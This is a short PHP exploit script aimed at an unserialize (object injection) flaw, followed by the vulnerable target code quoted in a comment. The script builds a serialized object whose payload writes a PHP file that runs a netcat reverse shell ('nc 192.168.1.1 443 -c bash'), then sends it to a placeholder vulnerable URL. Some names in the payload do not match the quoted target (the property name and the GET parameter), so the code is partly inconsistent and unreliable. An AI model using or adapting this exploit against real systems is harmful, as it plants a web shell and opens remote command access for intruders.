This php script is written for exploiting the serialization issue

php-unserialize-exploit.php

<?php 

class Foo
{
   public $user_file = "malicious.php";
   public $data = "<?php system('nc 192.168.1.1 443 -c bash'); ?>";
}

$url = 'http://vuln.com/unserialize.php?r='; // Change it to arbitrary url
$url = $url . urlencode(serialize(new Foo));

print "[+] Sending packets...[OK]\r\n";

$response = file_get_contents("$url");

?>

/* This script was written based on the source code below

class Foo
{
	public $file = 'file.txt';
	public $data = '';

	public function update()
	{
		$this-> data = 'blah blah texts';
	}

	public function __destruct()
	# magic functions are __wakeup() and __destruct() called magic functions
	{
		file_put_contents(__DIR__ . '/' . $this ->file, $this->data);
	}
}

$input = $_GET['arepo'] ?? '';
$databaseupdate = unserialize($input);

$app = new Foo;
$app -> update();
 */